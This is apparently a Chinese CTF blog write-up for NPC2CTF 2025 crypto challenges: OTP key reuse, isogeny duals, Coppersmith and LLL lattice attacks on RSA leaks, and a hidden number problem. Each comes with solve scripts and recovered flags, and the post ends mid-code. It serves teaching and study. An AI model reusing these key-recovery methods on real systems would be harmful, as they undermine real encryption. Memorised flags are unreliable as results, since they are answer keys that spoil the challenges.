Misay's blog

NPC2CTF 2025 复现

发表于 更新于 分类于
NPC2CTF2025

Week1

OTP?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from pwn import *

plain = """**************************"""

flag = 'flag{*********}'

length = len(flag)

block = [plain[i:i + length] for i in range(0, len(plain), length)]
c = []
for i in block:
    result = ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(flag, i))
    c.append(result.encode())
b = []
for i in c:
    b.append(hex(bytes_to_long(i)))

with open("c.txt","a") as f:
    for i in b:
        f.write(i+"\n")

按照flag的长度对明文进行分块，在每个块中把flag和明文按位异或，输出所有块的信息，这里解题的关键是如果明文是空格，即0x20,那么假设用一个可见的字母（譬如a）对明文进行异或，有

1
2
print(chr(ord('a')^ord(' '))) # A
print(chr(ord('A')^ord(' '))) # a

我们随便取两个密文c1,c2，容易得到

c1i=flagi⊕  m1i c_{1_i}=flag_i\oplus\;m_{1_i}

c2i=flagi⊕  m2i c_{2_i}=flag_i\oplus\;m_{2_i}

c1i⊕  c2i=m1i⊕  m2i c_{1_i}\oplus\;c_{2_i}=m_{1_i}\oplus\;m_{2_i}

计算左边已知量，如果异或出来的结果是一个大/小写的字母，那么说明明文中有一个很可能就是空格，我们构造一个二维数组 ，用来表示两两之间异或的结果，如果有某一行/列的可打印字母很多，我们就认为这里的行/列是空格，得到这里是空格之后，就能挨个恢复所有的明文了,再随便取一组来异或就能得到密钥

这里也说明只要同时用一位密钥加密了两个明文，我们就能用异或的方法直接暴露明文之间的联系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import *
import Crypto.Util.strxor as xo
import  numpy as np


def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False


def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')


dat = []


def getSpace():
    for index, x in enumerate(c):
        res = [xo.strxor(x, y) for y in c if x != y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

b = []
with open("c.txt","r") as f:
    for i in f:
        b.append(i)
c = []
for i in b:
    c.append(long_to_bytes(int(i,16)))

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))# 此时解出来的还会存在部分词汇乱码，需要根据语句情景来恢复

print(''.join(chr(ord(a) ^ ord(b)) for a, b in zip(long_to_bytes(int("0x250314151228131d593026490211373513442c54102a14104e4c18",16)).decode(), "Couriers or other secure me")))

# flag{Many_Time_Rad_1s_fun!}

NPC²CTF!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from tqdm import tqdm
from hashlib import sha256
from Crypto.Util.number import*
from os import urandom
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import pad
from random import randint

ells=[*primes(5, 250),182]
p = 4 * prod(ells) - 1
F = GF(p**2, 'i')
E=EllipticCurve(F,[0,0,0,1,0])


P = E(0).division_points(2)[3]
phi = E.isogeny(P)
E1=phi.codomain()
R = E.random_point()
W = phi(R)
print(W)

R11=(2*R).x()
key0=list(R11)[1]

def encrypt(key0, flag):
    key = sha256(long_to_bytes(key0)).digest()[:16]
    iv = urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(pad(flag,16))
    data = {"iv":iv.hex(),"encrypt_flag":ciphertext.hex()}
    return data

enc = encrypt(int(key0), FLAG)
print(enc)

'''
(5926867066859900829099405919744095425775533142163545292341208067006779293953234494181952353251240760*i + 3056303290993233141165267973259977996026439057756709583448676199055901226549828272646475162304162831 : 9569952643024284682346802897901398677420097803040614880597754791235028780882118061123205376899932773*i + 22028058493177817401227464383197640659326679607320610087648756619516963898531966234279614528129374705 : 1)
{'iv': 'da85186d231dec3191b46d2a62f9d177', 'encrypt_flag': 'c321e3d22c7e083b0a8b30d288c78b03b6a9954e70a6323dfbb1dc7b045cd041b335dccf28552281fd73f747e8faa0da'}'''

稍微分析一下代码，首先构造了模p2p^2且含有ii的乘法群FF,再在FF上生成椭圆曲线EE，找到EE上的一个2-扭点PP，以PP为核构造同源映射ϕ\phi，得到新的椭圆曲线E1E_1,

接着在EE上随机取了一个点RR，把RR通过同源映射ϕ\phi映射到E1E_1上，得到WW,再对EE上的点RR做一个倍乘2，取结果的横坐标为密钥进行AES加密

所以说我们需要的是求出RR或者2R2R,这里我们给出一个优美的对称性质

给定一个同源映射 其核为

ϕ:E→  E1,  ker(ϕ)  =  ⟨P⟩ \phi:E\rightarrow\;E_1,\;ker(\phi)\;=\;\langle P \rangle

那么我们能找到一个关于ϕ\phi的对偶同源映射ϕ′\phi',满足

ϕ  ∘  ϕ^  =  deg(ϕ) \phi\;\circ\;\hat\phi\;=\;deg(\phi)

也就是说，这里

W=ϕ(R) W=\phi(R)

那么如果我们构造了这个对偶同源映射，就有

ϕ^(W)=ϕ  ∘  ϕ^(R)  =deg(ϕ)R \hat{\phi}(W)=\phi\;\circ\;\hat{\phi}(R)\;=deg(\phi)R

这下我们只需要计算出ϕ\phi的度，就能得到RR在EE上的倍乘结果，那么也就不难计算出2R2R了，刚刚好由于P = E(0).division_points(2)[3],所以以PP为核的映射ϕ\phi度恰好为2,

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from sage.all import *
from hashlib import sha256
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 给定的加密数据
iv = 'da85186d231dec3191b46d2a62f9d177'
ciphertext = 'c321e3d22c7e083b0a8b30d288c78b03b6a9954e70a6323dfbb1dc7b045cd041b335dccf28552281fd73f747e8faa0da'

# 定义有限域和椭圆曲线
ells = list(primes(5, 250)) + [182]
p = 4 * prod(ells) - 1
F.<i> = GF(p^2)
E = EllipticCurve(F, [0, 0, 0, 1, 0])

# 同源映射的核点 P
P = E(0).division_points(2)[3]
phi = E.isogeny(P)
E1 = phi.codomain()

# 定义 W 点的坐标（确保是 F 的元素）
W_x_real = 3056303290993233141165267973259977996026439057756709583448676199055901226549828272646475162304162831
W_x_imag = 5926867066859900829099405919744095425775533142163545292341208067006779293953234494181952353251240760
W_y_real = 22028058493177817401227464383197640659326679607320610087648756619516963898531966234279614528129374705
W_y_imag = 9569952643024284682346802897901398677420097803040614880597754791235028780882118061123205376899932773

W_x = F(W_x_real + W_x_imag*i)
W_y = F(W_y_real + W_y_imag*i)
W = E1(W_x, W_y)

# 计算对偶同源并恢复 R
phi_dual = phi.dual()
deg_phi_R = phi_dual(W)
R_candidates = deg_phi_R.division_points(phi.degree())

# 验证正确的 R
for R_cand in R_candidates:
    if phi(R_cand) == W:
        R = R_cand
        break

# 计算密钥
RR = (2*R).x()
key0 = RR.polynomial()[1]  # 获取虚部系数

# 解密函数
def decrypt(key0, iv, ciphertext):
    key = sha256(long_to_bytes(int(key0))).digest()[:16]
    iv_bytes = bytes.fromhex(iv)
    ciphertext_bytes = bytes.fromhex(ciphertext)
    cipher = AES.new(key, AES.MODE_CBC, iv_bytes)
    plaintext = unpad(cipher.decrypt(ciphertext_bytes), 16)
    return plaintext

# 执行解密
flag = decrypt(key0, iv, ciphertext)
print("Flag:", flag.decode())
# 椭圆曲线同源映射的对称性
# flag{and_thats_the_symmetrical_beauty}

Ave Mujica1

你知道的我一直都是母鸡卡的粉丝，至于买够？不太熟

这应该是涉及LLL的题型里面复现的时候最顺手的了

题面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *

Message=b'?????'
FeiYuQi=b"?????"
r=bytes_to_long(FeiYuQi)
M=bytes_to_long(Message)
P=getPrime(1024)
Q=getPrime(1024)

N=P*Q
e=65537
C=pow(M,e,N)

print("N=",N)
print("C=",C)

print("hint1=",r**30%N+(P>>712))
print("hint2=",r**40%N)
print("hint3=",r**50%N+P%(2**312))


flag=b"flag{?????}"

sth=[ch for ch in Message]
c =sum(byte*pow(sth[idx]+0x1145,e,N) for idx, byte in enumerate(flag))%N

print("c=",c)

'''
N= ...
C= ...
hint1=... 
hint2=...
hint3=...
c=...
'''

明显的题目分为了两个部分，前半段要从给出的hint1,2,3来求Msg与R，后半段是一个根据Msg的背包格问题

part1

给出以下三个式子

hint1  =  r30  mod  N  +Ph hint_1\;=\;r^{30}\;mod\;N\;+Ph

hint2  =  r40  mod  N hint2\;=\;r^{40}\;mod\;N

hint3  =  r50  mod  N  +  Pl hint_3\;=\;r^{50}\;mod\;N\;+\;Pl

上面PhPh是PP的高312位，PlPl是PP的低312位 ，考虑到方程的式子都很简单，而且rr的指数之间也不算复杂，可以尝试消去rr，建立出两个分别关于PhPh,PlPl的方程，如下

(hint1−Ph)4  −  hint23  ≡  0  mod  N (hint_1-Ph)^4\;-\;hint_2^3\;\equiv\;0\;mod\;N

(hint3−Pl)4  −  hint25  ≡  0  mod  N (hint_3-Pl)^4\;-\;hint_2^5\;\equiv\;0\;mod\;N

注意到与copperSmith方法的要求

对于多项式f(x)  ≡  0  mod  N \text{对于多项式}f(x)\;\equiv\;0\;mod\;N

我们可以求出如下小根

x<∣N∣1d x<|N|^{\frac{1}d}

其中dd是f(x)f(x)的次数，这里d=4d=4，而我们注意到NN足足有2048位，开四次方还是512位，远大于Ph,PlPh,Pl的上限，因此可以使用CopperSmith，脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *

N= 
C= 
h1= 
h2= 
h3= 


R.<x> = PolynomialRing(Zmod(N))

# 尝试恢复高位
f = (h1 - x)^4 - h2^3
f = f.monic()
ph_candidates = f.small_roots(X=2^312, beta=0.55)

# 尝试恢复低位
g = (h3 - x)^4 - h2^5
g = g.monic()
pl_candidates = g.small_roots(X=2^312, beta=0.55)


print("[*] Found ph candidates:", ph_candidates)
print("[*] Found pl candidates:", pl_candidates)
# 枚举候选组合
for ph in ph_candidates:
    for pl in pl_candidates:
        A = ph * 2^712 + pl
        h = A + x * 2^312
        h = h.monic()

        pm_candidates = h.small_roots(X=2^400, beta=0.45)
        print("[*] Found pm candidates:", pm_candidates)
        for pm in pm_candidates:
            P = A + pm * 2^312
            print("[*] Found P candidates:", P)


这里找到PP之后，也能求出来QQ,再由常规的RSA解密就能得到MM

1
2
3
4
5
phi = (P-1)*(Q-1)
d = inverse(65537, phi)
m = pow(C, d, N)
print(long_to_bytes(m))
# b'Next,L^3&?CRYPTO. BanG+DrF_4m!-AvE:Mujic@'

part2

已经得到了mes,题目给出了如下式子

C  ≡  (∑  flagi  ∗  (mesi  +  s)e  )  mod  N C\;\equiv\;(\sum\;flag_i\;*\;(mes_i\;+\;s)^{e}\;)\;mod\;N

这里参照朝花夕拾佬的blog 格密码 | Lazzaro (lazzzaro.github.io)

属于是背包格问题,我们提前计算好Xi=(mesi+s)eX_i=(mes_i+s)^e,可以得到

可设为

A  ⋅  M=  B A\;·\;M=\;B

我们希望右边是格中的最短向量，而我们发现给MM的最后一列，和BB的最后一个元素同时乘上一个大系数KK,等式仍然成立，但是BB的大小不变，格基MM却变大了，因此我们可以适当选择大数KK，来让BB直接落在格基上

这题使用类似的思路，我们造格子

(flag1,flag2,⋯ ,flagn,k,−1)(100⋯0X10010⋯0X20⋮⋮⋮⋱⋮⋮⋮⋮000⋯1Xn0000⋯0N0000⋯0C1)=(flag1,flag2,⋯ ,flagn,0,−1) (flag_1, flag_2, \cdots, flag_n, k, -1) \begin{pmatrix} 1 & 0 & 0 & \cdots & 0 & X_1 & 0\\ 0 & 1 & 0 & \cdots & 0 & X_2 & 0\\ \vdots & \vdots & \vdots \ddots & \vdots & \vdots & \vdots & \vdots\\ 0 & 0 & 0 & \cdots & 1 & X_n & 0\\ 0 & 0 & 0 & \cdots & 0 & N & 0\\ 0 & 0 & 0 & \cdots & 0 & C & 1 \end{pmatrix} = (flag_1, flag_2, \cdots, flag_n, 0, -1)

这里配大小的思路也是类似的，不过这道题不需要调格大小就能出，因为ascii码的确范围足够小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Message = 'Next,L^3&?CRYPTO. BanG+DrF_4m!-AvE:Mujic@'
e = 65537
N = 12346483936467532069844600502119239676313033372787124789065534018638098680694938261365903797794610961755056255088554358681718304314637316017297616701542612135483666829688444092758507973398796527823932009247681477100647417035227935757974942013890173967394365478484132831994661456936201065409486607830868743178437233924223879870543965589241005939785528708048030119016624907724358471034067664557511894461119952527012136178133604221042635783247124296098468177214542758690407206160985686914282921393872770430862822173647405294320391592699481169093059538145145056241039901423589885314472147328817584038411920745568091897017
c = 6877697482375283919771744751381605439921171277761310340017946645022873605953818152308373448204771202951011043367072137908150213472272485958902649248523380292455472558952854638007846191354220903439051097455310398848454348629462926293402240862288285716305468564661881830617053185557555765698822433166931184024709220241641933883025213566214543658561804944511202718544529982995676396084160225664845431235260497011541109681869921720481471267464813367452467525609083650851497606457613461973057487431856642094518513891793247172928632166932816532544130565780015383996148152782665557213716778291735247943795300323455962327962

sth = [ord(ch) for ch in Message]
length = len(sth)
a = [pow(sth[i] + 0x1145, e, N) for i in range(length)]


M = matrix(ZZ, length + 2, length + 2)

# First length rows: diagonal 1's and a_i's
for i in range(length):
    M[i, i] = 1
    M[i, length] = a[i]

# Last row: N and c (to handle the modular equation)
M[length, length] = N
M[length + 1, length] = c
M[length + 1, length + 1] = 1
# print(M)

M_lll = M.LLL()
# print(M_lll)
row = first_row = M_lll[0,:].list()
print(row)

# 拼接绝对值后的 ASCII 字符
res = ''
for i in row:
    num = abs(int(i))  
    res += chr(num)  
    
# 输出结果
print(res)

# flag{50_CRAZY_2_use_Cu&LLL_2_51ove_it}

Week2

MTP_Again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from secrets import randbits
from Crypto.Util.number import bytes_to_long
from secret import bits

def generate_otp(length):
    pad = randbits(length)
    return pad if bin(pad).count('1') == length // 2 else generate_otp(length)

def encrypt():
    from secret import flag
    return bytes_to_long(flag.encode()) ^ generate_otp(len(flag)*8)

if __name__ == '__main__':
    f = open('output.txt', 'w')
    for _ in range(bits):
        f.writelines(str(encrypt()))
        f.writelines('\n')
    f.close()

首先看看generate_otp 随机生成一个length长的pad，当它其中的0，1占比各为50%时返回

然后是encrypt 我们对flag的字符串逐字节异或返回结果

最后进行bits次加密，给出这些时候加密的结果

整理如下

c  =  flag⊕  pad c\;=\;flag\oplus\;pad

解法一：参照hash-hash师傅的一个思路Writeup for Crypto Problem in 2022SEETF | hash_hash’s blog (hash-hash.github.io)
我们可以构造一个同态

f:({0,1},⊕)→  f′:({−1,1},×)f:(\left\{0,1\right\},\oplus)\rightarrow\;f':(\left\{-1,1\right\},\times)

简单验证可知上述情况运算等效,那么对于上述式子，进行变形，即

pad=c  ⊕  flagpad=c\;\oplus\;flag

也就是

(p0,p1,…,pn−1)=(c0f0,c1f1,…,cnfn)(p_0,p_1,\dots,p_{n-1}) = (c_0f_0,c_1f_1,\dots,c_nf_n)

而我们又知道padpad中所有位数上的0,1相同，映射之后就是-1,1相同，那相加不就是0了吗？结合给出的不同组c，拼在一起，把每次的c中的数值竖着拼，即

(f0,f1,f2,…,fn−1)⋅(c00c10c20⋯cn0c01c11c21⋯cn1⋮⋮⋮⋱⋮c0n−3c1n−3c2n−3⋯cnn−3c0n−2c1n−2c2n−2⋯cnn−2c0n−1c1n−1c2n−1⋯cnn−1)=(0,0,0,…,0)(f_0,f_1,f_2,\dots,f_{n-1})·\begin{pmatrix}c_{0_0} & c_{1_0} & c_{2_0} & \cdots & c_{n_0} \\ c_{0_1} & c_{1_1} & c_{2_1} & \cdots & c_{n_1} \\ \vdots & \vdots & \vdots & \ddots & \vdots & \\ c_{0_{n-3}} & c_{1_{n-3}} & c_{2_{n-3}} & \cdots & c_{n_{n-3}} & \\ c_{0_{n-2}} & c_{1_{n-2}} & c_{2_{n-2}} & \cdots & c_{n_{n-2}} & \\ c_{0_{n-1}} & c_{1_{n-1}} & c_{2_{n-1}} & \cdots & c_{n_{n-1}} & \end{pmatrix}=(0,0,0,\dots,0)

这时候我们就可知ff应该是CC的左核短向量，可以使用LLL的算法求解了

贴一下官方的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# sagemath 
from Crypto.Util.number import *
f = '''''' # 填入output内容，注意最后不要留空的一行
f = f.split('\n')
n = len(f)

def to_vec(num):
    tmp=[]
    s=bin(num)[2:].rjust(n,'0')
    for i in range(len(s)):
        if s[i]=='0':
            tmp+=[-1]
        else:
            tmp+=[1]
    return tmp

vec=[]
for i in range(n):
    vec.append(to_vec(int(f[i])))

L=Matrix(ZZ,n,n+n)
for i in range(n):
    for j in range(n):
        L[i,j]=2^50*vec[j][i]
    L[i,i+n]=1
    
m=[]
L=L.LLL()
for i in range(n):
    tmp=list(L[i])
    if tmp[:n].count(0)==n and tmp[n:].count(-1)+tmp[n:].count(1)==n:
        m=tmp[n:]
        break

mm=''
for i in range(len(m)):
    if m[i]==-1:
        mm+='0'
    else:
        mm+='1'
print(mm)
print(long_to_bytes(int(mm,2)))

解法二
思路一样是从异或的运算特征入手，表达稍微不同
我们知道

∑  p=∑(f  ⊕  c)  =L2\sum\;p=\sum(f\;\oplus\;c)\;=\frac{L}{2}

其中LL是padpad的长度

而我们不难得到

fi  ⊕  ci  =fi  +  ci  −  2  fi  ci f_i\;\oplus\;c_i\;=f_i\;+\;c_i\;-\;2\;f_i\;c_i

展开即

L2  −  ∑  Cij=∑  fj  ∗  (1−2Cij) \frac{L}{2}\;-\;\sum\;C_{i_j}=\sum\;f_j\;*\;(1-2C_{i_j})

也就是

f  ⋅  A=B f\;·\;A=B

这里还是满秩的，直接解就行，注意四舍五入保证解出来的是整数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import numpy as np
from Crypto.Util.number import long_to_bytes

def recover_flag(ciphertexts):
    # 确定 flag 的二进制长度（以最长密文为准）
    m = max(len(bin(c)) - 2 for c in ciphertexts)  # 去掉 '0b' 前缀
    
    # 构建线性方程组：A * f = b
    N = len(ciphertexts)
    A = np.zeros((N, m), dtype=int)
    b = np.zeros(N, dtype=int)
    
    for i, c in enumerate(ciphertexts):
        # 将密文转为二进制字符串并填充到 m 位
        bits = bin(c)[2:].zfill(m)
        for j in range(m):
            A[i, j] = 1 - 2 * int(bits[j])  # 系数矩阵 A[i][j] = 1 - 2*C_i[j]
        b[i] = m // 2 - sum(int(bit) for bit in bits)  # 右侧常数项
    
    f = np.linalg.solve(A, b)
    flag_bits = [int(round(bit)) for bit in f] 

    # 将二进制位组合为 flag
    flag_long = int(''.join(map(str, flag_bits)), 2)
    return long_to_bytes(flag_long)

if __name__ == "__main__":
    ciphertexts = []
    with open("output.txt",'r') as f:
        for line in f:
            line = line.strip()
            if line:
                ciphertexts.append(int(line))
    

    flag = recover_flag(ciphertexts)
    print(flag)

    # flag{__seesee_Neutrality_of_SEETF_2022_it_is_easy_just_LLL&&algebra__}

ez_HNP

题面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import long_to_bytes as l2b , bytes_to_long as b2l , getPrime
import random

with open('flag.txt', 'rb') as f:
    m = f.read()

r = getPrime(512)
p = getPrime(256)
q = getPrime(256)
n = p * q

def pad(m):
    pad_length = 64 - len(m) % 64
    pad = random.getrandbits(pad_length).to_bytes((pad_length + 7) // 8, "big")
    return pad[:len(pad)//2] + m + pad[len(pad)//2:]

def encrypt(m, p, n):
    q = n // p
    m = pad(m)
    l = len(m)
    c = b''
    gift = []
    for i in range(l// 64):
        m_i = b2l(m[64 * i: 64 * (i+1)])
        gift.append(m_i * q % r)
        c += l2b((m_i * n % r) ^ p, blocksize=64)
    return gift, c

gift, c = encrypt(m,p,n)

print(f"n = {n}")
print(f"r = {r}")
print(f'gift = {gift}')
print(f"c = '{c.hex()}'")

根据这篇| 独奏の小屋 (hasegawaazusa.github.io)

是线性HNP问题

先给输入的m填充，使它的长度达到64的倍数

之后就是把填充之后按64字节分块，对每块，我们有

gifti  ≡  miq  mod  r gift_i\;\equiv\;m_iq\;mod\;r

ci  =(mi  n  mod  r)  ⊕  p c_i\;= (m_i\;n\;mod\;r)\;\oplus\;p

特别的，这里计算cic_i的时候固定了块的长度为64字节，简单分析可知这里只要求出来pp就能直接把所有mim_i给算出来，然后就恢复了，考虑到这里nn不算太大，直接用yafu分解也是可行的（）

当然我们还是尽量找一个能够运用上HNP思路的方法

对于线性HNP，我们的任务是从形如

ci  ≡  rix+ei  mod  p c_i\;\equiv\;r_ix+e_i\;mod\;p

的方程中恢复出xx，我们注意到这里的pp是256位，而rr是512位的，而异或又在64字节的格子下进行，那么这个异或pp的过程实际上可以看成加上了一个小误差，也就是上式中的eie_i我们重写一下我们已知的方程

gifti  ≡  miq  mod  r gift_i\;\equiv\;m_iq\;mod\;r

ci  ≡  min  +ei  mod  r c_i\;\equiv\;m_in\;+e_i\;mod\;r

第二个方程很像了，但是没有不变量，我们又有n=pqn=pq那么对第一个方程变形

p  gifti  ≡  nmi  mod  r p\;gift_i\;\equiv\;nm_i\;mod\;r

代入第二个方程，我们有

ci  ≡  p⋅gifti  +  ei  mod  r c_i\;\equiv\;p·gift_i\;+\;e_i\;mod\;r

即

ei  =  ci  −  p⋅gifti  +  kir e_i\;=\;c_i\;-\;p·gift_i\;+\;k_ir

我们造格子来求pp

(k1,k2,…,kn,p,1)(rr⋱r−g1−g2⋯−gnKp0c1c2⋯cn0K)=(e1,e2,…,en,Kxr,K) (k_1,k_2,\dots,k_n,p,1)\begin{pmatrix} r & & & \\ & r & & \\ & & \ddots & \\ & & & r \\ -g_1 & -g_2 & \cdots & -g_n & \frac{K}{p} &0\\ c_1 & c_2 & \cdots & c_n & 0 & K \end{pmatrix}=(e_1,e_2,\dots,e_n,\frac{Kx}{r},K)

KK是误差的上界，这里我们发现模数rr太大了，Kr\frac{K}{r}就会是0，根本生成不了新的，那么我们就小小调整一下

(k1,k2,…,kn,p,1)(rr⋱r−g1−g2⋯−gn10c1c2⋯cn01)=(e1,e2,…,en,p,1)(k_1,k_2,\dots,k_n,p,1)\begin{pmatrix} r & & & \\ & r & & \\ & & \ddots & \\ & & & r \\ -g_1 & -g_2 & \cdots & -g_n & 1 &0\\ c_1 & c_2 & \cdots & c_n & 0 & 1 \end{pmatrix}=(e_1,e_2,\dots,e_n,p,1)

这下就能直接规约出pp了，可见格密码灵活性真的很高）））代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
n = ...

r = ...

gift = [...]

c = '....'

encs = [int(c[128*i: 128*(i+1)], 16) for i in range(len(gift))]
l=len(encs)

M=matrix(ZZ,l+2,l+2)
for i in range(l):
    M[i,i]=r
    M[l,i]=-gift[i]
    M[l+1,i]=encs[i]

M[l,l] = 1
M[l+1,l+1] = 1
L=M.LLL()
p = L[0, -2]
print(p)
# 65260483526602518839784843845912531242888361084882390874073837444262281165409

知道pp之后就是很顺利的求解了，exp

1
2
3
4
5
6
7
8
q = n // p
res=b''
for i in gift:
    res+=long_to_bytes(i*inverse(q,r)%r)

print(res)
# b"\x1d\xa73We're swaying on horseback,The hills are green,And the birdies sing,And roses are pink,Experience I never had,I'm so happy,Happy to just be part of your story,After you I follow,After you I follow,The world you show me broaden my horizon,Forever my hero,Forever my hero,I am your biggest fan,I am your biggest fan,Merry-go-round,In a circle I run,It's so much fun leaving reality behind.\r\nI fall down the horseback,With my crippled legs,And then it starts to rain,Showing me it's all fake,Raindrops wash down the facade,Hills are painted,Birdies are robotic,Roses are made of clay,Excitement that I feel,Excitement that I feel,Return them to the shelf,Cause now I understand,Heroes cannot be real,Heroes cannot be real,I wasn't who I am,I don't know who I am,\xc2\xbfWho am I?,\xc2\xbfWho am I?,\xc2\xbfWho am I?\r\nHere we go, another lap,Prizes to claim,Here's a dream for you,Here's a dream for me,Golden tickets(flag{Stand_up,gaL1op_on,N07h1ng_c4n_Be_dOne_by_f33l1nG_5o_5ORry_for_y0ursE1f}) in my bag stay unexchanged,Don't you love the thrill of the chase?Just let me be your fan,I wanna be your fan,I'm still your biggest fan!\r\nWhy is it that some were given the role of villian,The moment they were released into this system?\r\nHero,On a plastic horse,Fighting like it's real,With a cardboard sword,I know,Successful or not, I am who I am,I am my biggest fan,I am my biggest fan,I am my enemy and my friend.\r\nHero,Gonna prove my version of justice,Is more just than yours,Uno,Remaining on this stage, I am the only one,I am my biggest fan,I am my "
# flag{Stand_up,gaL1op_on,N07h1ng_c4n_Be_dOne_by_f33l1nG_5o_5ORry_for_y0ursE1f}

Week3

AL(L IN MY)GO

RanaSoyoAnon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
p=getPrime(512)
q=getPrime(512)
n=p*q

d1,a1,b1=xgcd(p,q)
d2,a2,b2=xgcd(a1,b1)    

flag=b"flag{?????}"
m=bytes_to_long(flag)
c=pow(m,65537,n)

print("n=",n)
print("c=",c)
t=[a1,b1,a2,b2]
print(t)

根据sage中的xgcd函数，我们可以得到

1=a1p+b1q 1=a_1p+b_1q

d2=a2a1+b2b1 d_2=a_2a_1+b_2b_1

我们已知a1,a2,b1,b2a_1,a_2,b_1,b_2

可知第二个式子没什么用，我们对第一个式子，可以考虑分别消去pp项或者qq项，那么也就是

1  ≡  a1p  mod  b1 1\;\equiv\;a_1p\;mod\;b_1

1  ≡  b1q  mod  a1 1\;\equiv\;b_1q\;mod\;a_1

我们知道(a1,b1)  =  1(a_1,b_1)\;=\;1那么有

p  ≡    a1−1  mod  b1 p\;\equiv\;\;a^{-1}_1\;mod\;b_1

注意到这里给的a1,b1a_1,b_1都是509位的数字，和512差距很小，我们能够来穷举

p=kb1+a1−1mod  b1 p=kb_1+a_1^{-1}mod\;b_1

然后检查是否有p  ∣  np\;|\;n即可，脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from sympy import *
from gmpy2 import *

a1 = 1053418510152174241358999461854322909092508825442671513610563337452117519900867332972692795557266351465654199993733230422011291698479326476444348886243267
b1 = -1261279176969765461388571053396373196897687956581882155016691810326904756013409782332270918104859858382015105036126383763303596291887827997773412160241786
print(gmpy2.gcd(a1,b1))
c1 = mod_inverse(a1,b1)
d1 = mod_inverse(b1,a1)  
n = 146978395433283264897813405718660588088322207100229521002893751180722325695978423785658275468431402472435440059035053335098162775145300245682198712763023558673286879552547337644749558781058327465800671817512926008450966581498366956477375308931684786869145630887681611140511534001970600372671544461336706473151


for k in range(-32,32):  
    p = k * b1 + c1
    if isPrime(p) and p > 0:  
        for m in range(-10000, 10000):  
            q = m * a1 + d1
            if isPrime(q) and q > 0:  
                if p * q == n:  
                    print(f"找到解: p = {p}, q = {q}")
                    print(f"k = {k}, m = {m}")
                    break
# k = -11, m = 10

获得p,qp,q之后就是正常的RSA解明文了，没有别的卡点

1
2
3
4
5
6
7
8
9
10
11
n = 146978395433283264897813405718660588088322207100229521002893751180722325695978423785658275468431402472435440059035053335098162775145300245682198712763023558673286879552547337644749558781058327465800671817512926008450966581498366956477375308931684786869145630887681611140511534001970600372671544461336706473151
c = 144091150656791885294463339584727879265256198198991073653628663376156887178012550858130757614613983484915065317350538883976985699134939611573042960790066164023344748678236482688754022510764186756583653133641013319778030947290249842389554899901303923240856508801296856919235057923994680746764691858073309808359

p = 13265752525031277598749193582511402119401436301773279603834276696648524090566525345340535788599653371597390501163172105815650318160883283557455351397733637
q = 11079536962260399440579867577796182350025055784603280643991792116408806832219819306252980113691988363196496955285790340961106337708724374056440534528513523

phi = (p - 1) * (q - 1)
d = mod_inverse(65537, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# flag{5uch_@_simp13_Algo!!!!!rithm_qu3sti0n_willl_not_bee_dificult_4_U!}

当然直接解方程

1=a1p+b1  np 1=a_1p+b_1\;\frac{n}{p}

也是可以的

Ave Mujica2

回旋镖来咯！我的心一直都是买够啊😭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import *
import random

mes=b"flag{?????}"
m=bytes_to_long(mes)

def l2d(n):
    if n == 0:
        qd = [0,]
    
    qd = []
    while n > 0:
        n, r = divmod(n, 4)
        qd.append(str(r))
    
    dna=[]
    base=["A","T","C","G"]
    for i in reversed(qd):
        dna.append(base[int(i)])
